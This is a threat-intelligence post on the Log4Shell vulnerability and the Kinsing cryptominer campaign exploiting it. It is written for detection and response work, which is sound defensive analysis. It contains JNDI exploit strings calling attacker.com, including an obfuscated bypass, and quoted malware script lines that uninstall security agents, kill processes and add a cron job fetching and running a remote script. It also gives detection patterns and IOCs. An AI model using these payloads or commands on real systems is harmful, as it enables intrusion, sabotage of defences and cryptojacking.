On December 9th, 2021 news broke about a newly discovered vulnerability affecting the java logging library, Log4j.
Since this news broke out, threat actors around the world have rushed to take advantage of this easy-to-exploit vulnerability and wide-scale attacks are now ongoing.
There are plenty of high popularity applications vulnerable to this exploit, such as Salesforce, Apache, Atlassian. And many more.
What is “Log4Shell”, and why has it become a global problem? Link to heading
This vulnerability is a remote code execution (RCE) based on a simple JNDI (Java Naming and Directory Interface) injection flaw which is easily exploitable. JNDI allows Java applications to discover and lookup data and resources via URLs. When a message is logged via a vulnerable version of Log4j that contains a JNDI locator the JNDI will be resolved and the content at the URL will be fetched from an attacker-controlled location. From there the attacker server can return a specifically crafted java class which the vulnerable application will load and execute.
The attack steps look like the following:
Data from the attacker gets sent to the server (via any protocol)
The server logs the data in the request containing the malicious payload such as ${jndi:ldap://attacker.com/a} where attacker.com is a server controlled by the attacker.
The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via the Java Naming and Directory Interface.
The response to this request contains a path to a remote java class file, for example, attacker.com/Exploit.class which is injected into the server process
The injected Exploit. class triggers a second stage and allows the attacker to execute arbitrary code
The CVSS score for this vulnerability is 10.0 (Critical) due to its ease of use, the number of ways in which it can be exploited, and the fact that it is a remote code exploit (RCE).
Threat Intelligence and Observed Behavior Link to heading
The Profero threat intelligence team has observed widescale automated deployments of a backdoor known as Kinsing, which is known to drop cryptocurrency mining software on victim machines.
Kinsing Link to heading
Kinsing consists of a backdoor written in Go and various install and helper scripts written in bash.
Installation Scripts Link to heading
The bash script which installs Kinsing takes the following actions:
Makes changes in the Linux host itself, changes attributes to unprotect specific files and directories and disables the host firewall. The last part of this section is dedicated to using multiple techniques to disable, uninstall and remove a security solution by Alibaba
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
if ps aux | grep -i ‘[a]liyun’; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i ‘[y]unjing’; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
Fi
The script then spends a considerable amount of effort to remove competitor malware such as other Linux miners. This section of the script starts by terminating existing connections to specific IP addresses and then terminates existing connections based on specific ports.
netstat -anp | grep 185.71.65.238 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | xargs -I % kill -9 %
netstat -anp | grep 140.82.52.87 | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | xargs -I % kill -9 %
netstat -anp | grep “207.38.87.6” | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep “34.81.218.76:9486” | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep “42.112.28.216:9486” | awk ‘{print $7}’ | awk -F’[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
pkill -f .git/kthreaddw
ps aux | grep “agetty” | grep -v grep | awk ‘{if($3>80.0) print $2}’ | xargs -I % kill -9 %
pkill -f 42.112.28.216
After that, it tries to kill different processes using pkill using many different names, moving forward to try to find processes to kill using ps aux command, including ones with specific arguments, including crypto mining addresses.
…Snipped for brevity…
pkill -f /tmp/gitaly
pkill -f /tmp/.x/kworker
pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
pkill -f /tmp/.X11-unix/supervise
pkill -f /tmp/.ssh/redis.sh
ps aux| grep “./udp”| grep -v grep | awk ‘{print $2}’ | xargs -I % kill -9 %
ps aux| grep “./oka”| grep -v grep | awk ‘{print $2}’ | xargs -I % kill -9 %
ps aux| grep “postgres: autovacum”| grep -v grep | awk ‘{print $2}’ | xargs -I % kill -9 %
ps ax -o command,pid -www| awk ‘length($1) == 8’|grep -v bin|grep -v “\[“|grep -v “(“|grep -v “php-fpm”|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk ‘{print $2}’|xargs -I % kill -9 %
ps ax -o command,pid -www| awk ‘length($1) == 16’|grep -v bin|grep -v “\[“|grep -v “(“|grep -v “php-fpm”|grep -v proxymap|grep -v postgres|grep -v postgrey| awk ‘{print $2}’|xargs -I % kill -9 %
ps ax| awk ‘length($5) == 8’|grep -v bin|grep -v “\[“|grep -v “(“|grep -v “php-fpm”|grep -v proxymap|grep -v postgres|grep -v postgrey| awk ‘{print $1}’|xargs -I % kill -9 %
ps aux | grep -v grep | grep ‘/tmp/sscks’ | awk ‘{print $2}’ | xargs -I % kill -9 %
ps aux| grep “sleep 60”| grep -v grep | awk ‘{print $2}’ | xargs -I % kill -9 %
ps aux| grep “./crun”| grep -v grep | awk ‘{print $2}’ | xargs -I % kill -9 %
…Snipped for brevity…
The last part of this section deletes many files from the infected system which are known to be files belonging to other competing malware families.
The malware also checks for and deletes specific docker containers and images:
docker ps | grep “pocosow” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “gakeaws” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “azulu” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “auto” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “xmr” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “mine” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “monero” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “slowhttp” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “bash.shell” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “entrypoint.sh” | awk ‘{print $1}’ | xargs -I % docker kill %
docker ps | grep “/var/sbin/bash” | awk ‘{print $1}’ | xargs -I % docker kill %
docker images -a | grep “pocosow” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “gakeaws” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “buster-slim” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “hello-” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “azulu” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “registry” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “xmr” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “auto” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “mine” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “monero” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
docker images -a | grep “slowhttp” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
The bash script defines the parameters of the second stage payload as follows:
BIN_MD5=”648effa354b3cbaad87b45f48d59c616"
BIN_DOWNLOAD_URL=”hXXp://45.137[.]155.55/kinsing”
BIN_DOWNLOAD_URL2=”hXXp://45.137[.]155.55/kinsing”
BIN_NAME=”kinsing”
The script then creates a folder inside the /tmp
directory and downloads and runs the final kinsing payload.
The install script also adds a cron task which will download and run the same script on boot to achieve persistence on the infected system.
crontab -l | grep -e “195.3.146.118” | grep -v grep
if [ $? -eq 0 ]; then
echo “cron good”
else
(
crontab -l 2>/dev/null
# $LDR is either wget or curl
echo “* * * * * $LDR http://195.3.146.118/d.sh | sh > /dev/null 2>&1”
) | crontab -
fi
Finally, the script will attempt to remove any crontabs belonging to competing malware:
crontab -l | sed ‘/base64/d’ | crontab -
crontab -l | sed ‘/update.sh/d’ | crontab -
crontab -l | sed ‘/logo4/d’ | crontab -
crontab -l | sed ‘/logo9/d’ | crontab -
crontab -l | sed ‘/logo0/d’ | crontab -
crontab -l | sed ‘/logo/d’ | crontab -
crontab -l | sed ‘/tor2web/d’ | crontab -
crontab -l | sed ‘/jpg/d’ | crontab -
crontab -l | sed ‘/png/d’ | crontab -
crontab -l | sed ‘/tmp/d’ | crontab -
crontab -l | sed ‘/zmreplchkr/d’ | crontab -
crontab -l | sed ‘/aliyun.one/d’ | crontab -
crontab -l | sed ‘/3.215.110.66.one/d’ | crontab -
crontab -l | sed ‘/pastebin/d’ | crontab -
crontab -l | sed ‘/onion/d’ | crontab -
crontab -l | sed ‘/lsd.systemten.org/d’ | crontab -
crontab -l | sed ‘/shuf/d’ | crontab -
crontab -l | sed ‘/ash/d’ | crontab -
crontab -l | sed ‘/mr.sh/d’ | crontab -
crontab -l | sed ‘/185.181.10.234/d’ | crontab -
crontab -l | sed ‘/localhost.xyz/d’ | crontab -
crontab -l | sed ‘/45.137.151.106/d’ | crontab -
crontab -l | sed ‘/111.90.159.106/d’ | crontab -
crontab -l | sed ‘/github/d’ | crontab -
crontab -l | sed ‘/bigd1ck.com/d’ | crontab -
crontab -l | sed ‘/xmr.ipzse.com/d’ | crontab -
crontab -l | sed ‘/185.181.10.234/d’ | crontab -
crontab -l | sed ‘/146.71.79.230/d’ | crontab -
crontab -l | sed ‘/122.51.164.83/d’ | crontab -
crontab -l | sed ‘/newdat.sh/d’ | crontab -
crontab -l | sed ‘/lib.pygensim.com/d’ | crontab -
crontab -l | sed ‘/t.amynx.com/d’ | crontab -
crontab -l | sed ‘/update.sh/d’ | crontab -
crontab -l | sed ‘/systemd-service.sh/d’ | crontab -
crontab -l | sed ‘/pg_stat.sh/d’ | crontab -
crontab -l | sed ‘/sleep/d’ | crontab -
crontab -l | sed ‘/oka/d’ | crontab -
crontab -l | sed ‘/linux1213/d’ | crontab -
crontab -l | sed ‘/zsvc/d’ | crontab -
crontab -l | sed ‘/_cron/d’ | crontab -
crontab -l | sed ‘/31.210.20.181/d’ | crontab -
crontab -l | sed ‘/givemexyz/d’ | crontab -
crontab -l | sed ‘/world/d’ | crontab -
crontab -l | sed ‘/1.sh/d’ | crontab -
crontab -l | sed ‘/3.sh/d’ | crontab -
crontab -l | sed ‘/workers/d’ | crontab -
crontab -l | sed ‘/oracleservice/d’ | crontab -
Detection and Response Link to heading
In this section, Profero experts have listed ways in which organizations can detect and potentially protect against the Log4Shell vulnerability and the payloads which are being deployed using it.
The detection patterns were created by analyzing the collected information from intelligence gathering and internal analysis work.
Each section contains a pattern that can be used to match for a TTP, examples which were seen in the wild, and security controls that can be used with the shared patterns.
Patterns Link to heading
There are a few patterns that can be used together with file scanning (grep) or EDR solutions to detect when an attack is taking place, however, due to the ease at which these detections can be evaded the only real way to be sure you are protected is to upgrade Log4j.
For example, the following invocation of the vulnerability can bypass every current public detection pattern was published on Twitter:
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
Unobfuscated detections Link to heading
The following commands search for exploitation attempts in uncompressed log files contained within /var/log and all child folders:
sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log
The following can be used to search for exploitation attempts in all compressed log files contained within /var/log and all child folders:
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’
Obfuscated detections Link to heading
The following commands search for obfuscated exploitation attempts in uncompressed log files contained within /var/log and all child folders:
sudo find /var/log/test/ -type f -exec sh -c “cat {} | sed -e ‘s/\${lower://’g | tr -d ‘}’ | egrep -i ‘jndi:(ldap[s]?|rmi|dns):’”\;
The following can be used to search for obfuscated exploitation attempts in all compressed log files contained within /var/log
and all child folders:
sudo find /var/log/test/ -name “*.gz” -type f -exec sh -c “zcat {} | sed -e ‘s/\${lower://’g | tr -d ‘}’ | egrep -i ‘jndi:(ldap[s]?|rmi|dns):’” \;
YARA rules Link to heading
The following Yara rules published by Florian Roth can be used to look for indicators of compromise within log files and certain encoded strings found within payloads of exploits against log4shell:
rule EXPL_Log4j_CVE_2021_44228_Dec21_Soft {
meta:
description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
author = "Florian Roth"
reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
date = "2021-12-10"
score = 60
strings:
$x1 = "${jndi:ldap:/"
$x2 = "${jndi:rmi:/"
$x3 = "${jndi:ldaps:/"
$x4 = "${jndi:dns:/"
condition:
1 of them
}
rule EXPL_Log4j_CVE_2021_44228_Dec21_Hard {
meta:
description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
author = "Florian Roth"
reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
date = "2021-12-10"
score = 80
strings:
$x1 = /\$\{jndi:(ldap|ldaps|rmi|dns):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
$fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
condition:
$x1 and not 1 of ($fp*)
}
rule SUSP_Base64_Encoded_Exploit_Indicators_Dec21 {
meta:
description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
author = "Florian Roth"
reference = "https://twitter.com/Reelix/status/1469327487243071493"
date = "2021-12-10"
score = 70
strings:
/* curl -s */
$sa1 = "Y3VybCAtcy"
$sa2 = "N1cmwgLXMg"
$sa3 = "jdXJsIC1zI"
/* |wget -q -O- */
$sb1 = "fHdnZXQgLXEgLU8tI"
$sb2 = "x3Z2V0IC1xIC1PLS"
$sb3 = "8d2dldCAtcSAtTy0g"
condition:
1 of ($sa*) and 1 of ($sb*)
}
IOCs Link to heading
IPs Link to heading
84.228.93.158
213.8.240.123
108.61.148.110
178.62.23.146
167.99.36.245
164.92.254.33
162.158.126.208
147.182.216.21
139.59.99.80
52.203.31.182
45.155.205.233
79.143.186.150
162.158.142.142
162.158.142.122
162.158.102.42
167.99.221.217
45.137.155.55
185.191.32.198
185.154.53.140
44.240.146.137
Domains Link to heading
interactsh[.]com
psc4fuel[.]com